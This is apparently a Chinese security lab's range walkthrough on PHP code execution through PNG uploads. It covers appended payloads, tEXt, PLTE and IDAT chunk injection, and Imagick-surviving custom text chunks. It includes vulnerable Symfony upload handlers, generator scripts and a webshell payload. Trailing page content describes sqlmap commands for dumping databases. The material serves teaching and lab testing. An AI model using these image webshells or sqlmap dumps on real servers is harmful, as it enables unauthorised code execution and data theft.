网络靶场实战-PHP代码执行--PNG注入

本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。

环境准备

图片马想要执行需要的条件:

    1.图片可以上传到目标服务器上。

    2.图片可解析为PHP代码。

    要满足第一个条件,可能的方式有文件上传、远程文件下载、SSRF等方式。

    要满足第二个条件可能的方式有上传比如png格式木马但是可以改名为php,从而解析为php;或者可以修改.htacces文件来控制这个php解析类型,使其支持解析png为php代码执行;或者是只能上传png格式图片,但是可以文件包含这个png来执行php代码。

    当然以上描述的情况这个跟目标环境有关系。为了方便测试,我制作了一个docker镜像。镜像中web服务支持文件上传,上传时会检查MIME类型是否为图片,但是不检查上传文件的扩展名。这表示可以上传一个图片格式的.php文件到服务器上。在靶场中利用靶机拉取docker镜像。

docker pull ordar/astrolock
docker run -d -p 80:80 ordar/astrolock

PNG结构

  • PNG的基本构成为:

8字节头文件+4字节数据长度+4字节数据标识符+数据块数据+4字节CRC校验码

    PNG图片由很多数据块组成,每个数据块包含了不同的信息。PNG定义了两种类型的数据块:

  • 一种是称为关键数据块(critical chunk),这是标准的数据块,每个PNG文件必须包含。

  • 另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。

关键数据块

    关键数据块包括:文件头数据块调色板数据块图像数据块图像结束数据块

    “89 50 4E 47 00 DA 1A 0A” png文件的标识符

    文件头数据块IHDR

    调色板数据块PLTE

    图像数据块IDAT

    图像结束数据块IEND

辅助数据块

    其余 18 个块类型称为辅助块类型, 编码器可以生成哪些,解码器可以解释。

    透明度信息:tRNS色彩空间信息:cHRM、gAMA、iCCP、sBIT、sRGB、cICP文本信息:iTXt,tEXt,zTXt杂项信息:bKGD、hIST、pHYs、sPLT、eXIf时间信息:tIME动画信息:acTL,fcTL,fdAT

    部分数据块如下:

在PNG中注入PHP代码

first-part 简单插入

查看/first-part的源代码,这非常简单:网络表单需要标题、描述和有效的PNG文件。然后,应用程序将从上传的图像文件中获取数据,从原始文件名构建一个唯一的文件名,并将文件简单地存储在文件系统中(suits_thumbnails目录中,可公开访问)。

# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {

    # 获取通过表单上传的文件,从原始文件名构建一个唯一的文件名
    $suitFile = $form->get('suit')->getData();
    $originalFilename = $suitFile->getClientOriginalName();
    $newFilename = uniqid().'_'.$originalFilename;
    # 将上传的文件用唯一文件名存储在Web服务器上的缩略图目录/suits_thumbnails/中
    try {
        $suitFile->move(
            $this->getParameter('thumbnails_directory'),
            $newFilename
        );
        $suit->setSuitFilename($newFilename);
    } catch (FileException $e) {
        return new Response("File exception");
    }
    # 将“suit”对象存储在数据库中以在应用程序中显示
    $entityManager->persist($suit);
    $entityManager->flush();
    return $this->redirectToRoute('app_first_part');
}

方法一 直接拼接

    网上搜索图片马制作的方法,很容易就能找到的方法就是这种。以下方法的效果是等效的。

    1.文本方式打开图片,然后末尾粘贴一句话木马;

    2.cmd中 copy 1.png /b + 2.php 3.png;

    3.使用echo命令追加代码到png图片末尾。

    这种方法已经烂大街了,这里就不多说了,懂得都懂。在png图像结束块IEND后面紧跟着phpinfo。

方法二 预定义文本块注入

    PNG 图像格式允许向文件添加注释以存储一些meta data数据。通过查阅PNG文档可以找到已经定义的文本块关键字。

当然这些关键字是可以修改的,通过下载工具https://exiftool.org/来设置这些预定义关键字。

    当然它是可以成功解析的,可以看到文本块copyright后面紧接着就是phpinfo。

PHP-GD库的压缩图像

    大多数时候,图像文件不会像/first-part所假设的那样按原样存储在服务器上。而是使用一些标准的PHP 库(如 PHP-GD)将图像调整大小、压缩或编码为特定的文件格式。

    /second-part 路径为攻击者实现了一个稍微更现实、也更困难的场景。在存储用户上传的文件之前,应用程序将使用 PHP-GD 函数 imagepng 压缩所有上传到 Web 服务器的图像。

# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {

    # 从表单中获取上传文件
    $suitFile = $form->get('suit')->getData();

    # 从原始文件名生成唯一的文件名
    $originalFilename = $suitFile->getClientOriginalName();
    $newFilename = uniqid().'_'.$originalFilename;

    try {
        # 压缩上传的PNG(gzip库的第9级)并保存
        $source = imagecreatefrompng($suitFile->getPathName());
        imagepng($source, $this->getParameter('thumbnails_directory').'/'.$newFilename, 9);
        $suit->setSuitFilename($newFilename);
    } catch (FileException $e) {
        return new Response("Exception in image processing");
    }
    # 将“suit”对象存储在数据库中以在应用程序中显示
    $entityManager->persist($suit);
    $entityManager->flush();
    return $this->redirectToRoute('app_second_part');
}

方法三 PLTE块注入

    压缩 PNG 文件时,PHP-GD将删除辅助块以减小输出文件的大小。这就是为什么我们在第一部分中注入的PHP payload无法在压缩过程中幸存下来。

    但是,如果我们可以将我们的payload注入到 PNG 文件的关键块中呢?当然,这些块在压缩图像时不会被破坏。执行这种注入的完美候选者是 PLTE 块,这是一个包含 PNG 图像的“调色板”的关键块,即颜色列表。根据 PNG 规范:

    PLTE 块包含 1 到 256 个调色板条目,每个条目都是三字节的形式:

Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

    使用PLTE块,我们可能有256*3字节可用于将我们的payload注入到这样一个关键块中,这应该绰绰有余。唯一的限制是有效载荷的长度必须能被3整除。

    使用下面的脚本,可以轻松创建PLTE块注入payload的png图像。

<?php
    
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
    
$_payload = $argv[1];
$output = $argv[2];
    
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
    echo "FATAL: The payload is too long. Exiting...";
    exit();
}
if($_pay_len %3 != 0){
    echo "FATAL: The payload isn't divisible by 3. Exiting...";
    exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
    
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
    
for($i=0; $i < count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
    
    imagesetpixel($im,$i,1,$color);
}
    
imagepng($im,$output);

    执行脚本:

php gen.php '<?php phpinfo(); ?>' png-plte-inject.php

    使用PLTE注入可以绕过PHP-GD库的压缩,可以成功上传并且成功解析。

PHP-GD库调整图像大小

    Web 应用程序在处理图像时执行的另一个标准操作是调整它们的大小以标准化它们的格式。为此,应用程序可以例如使用PHP-GD库imagecopyresized函数或 imagecopyresampled函数。

    /third-part路由实现了目标应用程序在存储输入PNG 文件之前对其进行压缩和调整大小的场景。

# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {

    # 从表单中获取上传文件
    $suitFile = $form->get('suit')->getData();

    # 从原始文件名生成唯一的文件名
    $originalFilename = $suitFile->getClientOriginalName();
    $newFilename = uniqid().'_'.$originalFilename;

    try {
        # 压缩上传的PNG(gzip库的第9级),调整大小并保存
        $filename = $suitFile->getPathName();
        list($width, $height) = getimagesize($filename);
        $source = imagecreatefrompng($filename);
        $thumb = imagecreatetruecolor(55, 55);
        imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
        imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
        $suit->setSuitFilename($newFilename);
    } catch (FileException $e) {
        return new Response("Exception in image processing");
    }

    # 将“suit”对象存储在数据库中以在应用程序中显示
    $entityManager->persist($suit);
    $entityManager->flush();
    return $this->redirectToRoute('app_third_part');
}

方法四 IDAT块注入

    调整图像大小时,即使是 PLTE关键块的内容也会被破坏,我们的payload也会随之破坏。这些函数实际上只使用原始文件中的像素数据来创建一个全新的图像。关键数据块或辅助数据块中包含的数据都可能会被忽略。

将PHP载荷注入PNG文件的一种相当复杂但有效的方法是将其编码为PNG的IDAT块。

    当将原始图像保存为PNG时,图像的每一行都按字节进行过滤,并且该行前缀有一个数字,该数字描述了所使用的过滤器类型(0x01到0x05),不同的行可以使用不同的过滤器。这背后的基本原理是提高压缩比。过滤完所有行后,它们都使用 DEFLATE 算法压缩以形成 IDAT 块。

    要生成一个包含有效PHP代码的IDAT 块,应该找到原始像素的精确组合,这些像素一旦被 PNG线过滤器和DEFLATE算法处理,就会输出所需的有效载荷。

    字符串不能包含任何重复的代码块,否则它们将被压缩。

    虽然很难,但确实是可以实现的。

    可以使用以下脚本来生成110x110的PNG图像,一旦调整为55x55,IDAT汇总将包含 PHP 代码:<?=$_GET[0]($_POST[1]);?>

<?php
 
header('Content-Type: image/png');
 
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
 
$img = imagecreatetruecolor(55, 55);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img);
 
?>

    此脚本生成恶意 PNG 图像:

php generate_idat_png.php > png-idat-inject.php

    这时候将生成的图像通过/third-part路由上传,就可以触发webshell。

通过发送POST请求来触发php执行。

IMAGICK库调整图像大小

    除了PHP-GD之外,最流行的图像处理库之一是Imagick,它是ImageMagick的PHP实现。/fourth-part路由说明了一个应用程序,它使用thumbnailImage功能调整用户上传的文件的大小。此函数用于产生较小的low-cost缩略图图像,适合在Web上显示。

# 创建“suit”对象并将其链接到Symfony表单
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if ($form->isSubmitted() && $form->isValid()) {

    # 从表单中获取上传文件
    $suitFile = $form->get('suit')->getData();
  
    # 从原始文件名生成唯一的文件名
    if ($suitFile) {
        $originalFilename = $suitFile->getClientOriginalName();
        $newFilename = uniqid().'_'.$originalFilename;

        try {
            # 使用Imagick将文件转换为100x100缩略图
            $filename = $suitFile->getPathName();
            $imgck = new Imagick($filename);
            $imgck->thumbnailImage(55, 55, true, true);
            $imgck->writeImage($this->getParameter('thumbnails_directory')."/".$newFilename);
            $suit->setSuitFilename($newFilename);
        } catch (Exception $e) {
            return New Response("Exception in image processing");
        }
    }
  
    #将“suit”对象存储在数据库中以在应用程序中显示
    $entityManager->persist($suit);
    $entityManager->flush();
    return $this->redirectToRoute('app_fourth_part');
}

方法五 自定义文本块注入

    当Imagick调整图像大小时,它实际上会对文本块执行几个操作:

  • 擦除标记为“Comment”的tEXt块。

  • 覆盖以下tEXt块的值(或者如果它们不存在则定义它们):date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI

  • 保留任何其他tEXt块的原始值(包括不存在预定义关键字的tEXt块)。

    在方法二的PNG注释中,我们已经知道了预定义的tEXt块的预定义关键字有如下这些:

    因为我们修改的是copyright块,所以是可以绕过thumbnailImage方法的处理的。

    使用方法二的图像,可以成功执行。如下图,可以看到它并不是紧跟在tEXt块后面执行。

    除了以上预定义关键字,我们还可以自定义关键字。通过以下简单的python代码可以实现。

# -*- coding: utf-8 -*-
# @Author : ordar
# @Python: 3.7.5
from PIL import Image
from PngImagePlugin import PngInfo
im = Image.open("png/png.png")
p = PngInfo()
# PngInfo类有两个方法add_itxt和add_text,这两个方法实现的效果是一样的。
# iTXt是国际文本数据;iEXt是文本信息数据块
# p.add_itxt(b"Aaaaa", b"<?php phpinfo(); ?>")
p.add_text(b"Aaaaa", b"<?php phpinfo(); ?>")
im.save("png/png-text-custom.png",pnginfo=p)

    用exiftool工具查看图片信息,可以发现Aaaaa文本信息成功添加进去了。

    当然也可以解析执行。

总结

    当服务器可以将图像文件解释为PHP时,例如弱扩展检查、解析漏洞、本地文件包含漏洞、错误配置PHP解析扩展等方式,可以使用这些技术来造成代码执行。

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQLMap是一个开源的SQL注入自动化工具,可以帮助你通过SQLi-Labs靶场。使用SQLMap,你需要熟悉基本的命令行语法,并了解SQL注入的基本原理。为了使用SQLMap通过SQLi-Labs靶场,你可以尝试使用以下命令: ``` sqlmap -u <target URL> --dbs ``` 这将列出数据库列表。接下来,你可以使用以下命令枚举数据表: ``` sqlmap -u <target URL> -D <database name> --tables ``` 最后,你可以使用以下命令读取数据表中的数据: ``` sqlmap -u <target URL> -D <database name> -T <table name> --dump ``` 请注意,在实际渗透测试中,使用SQLMap和其他工具需要遵循道德准则和法律规定。 ### 回答2: SQL注入是目前常见的一种攻击方式,它很容易对基于SQL的Database进行利用,最终获取Database中的敏感信息。为了更好地理解SQL注入攻击方式,学习和了解其渗透测试方式非常必要。而sqli-labs是一款SQL injection实验环境,旨在用来提高SQL技术的实际应用能力和渗透测试的技能。 在sqli-labs中,存在很多漏洞类型需要渗透测试,通过这些漏洞攻击我们可以得到不同的信息。要完成这些测试,我们需要一个工具来探测一个web应用程序中的SQL注入漏洞,这个工具就是SQLMAP。SQLMAP工具是一个开源工具,用Python语言编写,接受界面式和命令行调用方式,功能非常强大。 下面是sqlmap通关sqli-labs靶场的步骤: 1. 下载并安装SQLMAP SQLMAP安装包的下载可以到官方网站上下载,或者使用Git Clone命令克隆仓库。安装过程中,需要依赖Python环境,所以需要先安装Python环境。 2. 下载sqli-labs sqli-labs的下载可以从官方网站或者GitHub上下载,解压并配置好环境。 3. 识别目标网站 使用命令行工具,进入SQLMAP所在的目录,输入命令:`python sqlmap.py -u <target-url>`,其中,target-url指的是sqli-labs中的URL。 4. 扫描漏洞 使用命令来扫描不同的漏洞,比如:`python sqlmap.py -u <target-url> --dbs`,表示对目标URL进行数据库的探测。 5. 选择漏洞 通过返回的扫描结果,选择需要攻击的漏洞。 6. 进行攻击 对选择的漏洞进行攻击,使用命令:`python sqlmap.py –-tamper=space2mysql -u <target-url> -p <vuln-field> --dbs`,其中,tamper参数是选用的注入脚本,space2mysql就是其中一个比较好用的注入脚本之一,vuln-field指的是目标网站的漏洞点。 7. 数据库探测和获取数据 通过命令:`python sqlmap.py -u <target-url> --dbs`获取到可用的数据库,再使用命令:`python sqlmap.py -u <target-url> -D databaseName -T tableName --dump`来获取表中的数据。 通过上述步骤,sqlmap就可以在sqli-labs的攻击和测试中展示其强大的功能。需要注意的是,任何时候针对他人的web应用程序进行测试之前,务必获得允许进行渗透测试的正式授权。 ### 回答3: SQL注入是一种常见的安全漏洞,黑客可以利用它来攻击网站。为了更好地了解和防范这种攻击,我们可以通过搭建sqli-labs靶场来进行学习和实践,而SQLmap则是一款自动化SQL注入工具,可以大大提高注入的效率。现在,我将详细介绍如何通过SQLmap通关sqli-labs靶场。 第一步:下载sqli-labs和SQLmap 首先,我们需要先下载本地的sqli-labs靶场和SQLmap工具。sqli-labs靶场可以从GitHub上下载,而SQLmap工具则可以从官网或GitHub上下载。 第二步:启动sqli-labs 我们需要启动sqli-labs靶场,进入其对应的文件夹中,运行命令“sudo ./logstart.sh”即可启动。 第三步:寻找sqli-labs中的注入漏洞 接下来,我们需要寻找sqli-labs中的注入漏洞,这可以通过用浏览器访问sqli-labs的web应用程序来完成。我们可以利用输入一些特殊符号来调用SQL语句,并观察服务器的返回结果。如果返回结果与预期不符,则可能存在注入漏洞。 第四步:使用SQLmap进行注入攻击 现在,我们已经找到存在漏洞的地方了,接下来就是使用SQLmap进行注入攻击。在命令行中输入“python sqlmap.py -u [漏洞URL] --dbs”即可进行漏洞测试。如果存在注入漏洞,则SQLmap会在其中进行攻击并自动检测到被攻击的数据库。 第五步:进一步利用SQLmap 此时,我们已经成功地利用SQLmap进行了注入攻击,接下来可以进一步利用SQLmap进行数据抓取、渗透等操作。我们可以通过输入“python sqlmap.py -u [漏洞URL] -D [数据库名] -T [表名] --dump”来进行数据抓取操作,获取数据并进行进一步的分析。 总结: 通过以上步骤,我们可以利用SQLmap成功地通关sqli-labs靶场。值得注意的是,在进行学习和实践过程中,一定要注意合法性和安全性,避免非法入侵和攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

蛇矛实验室

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值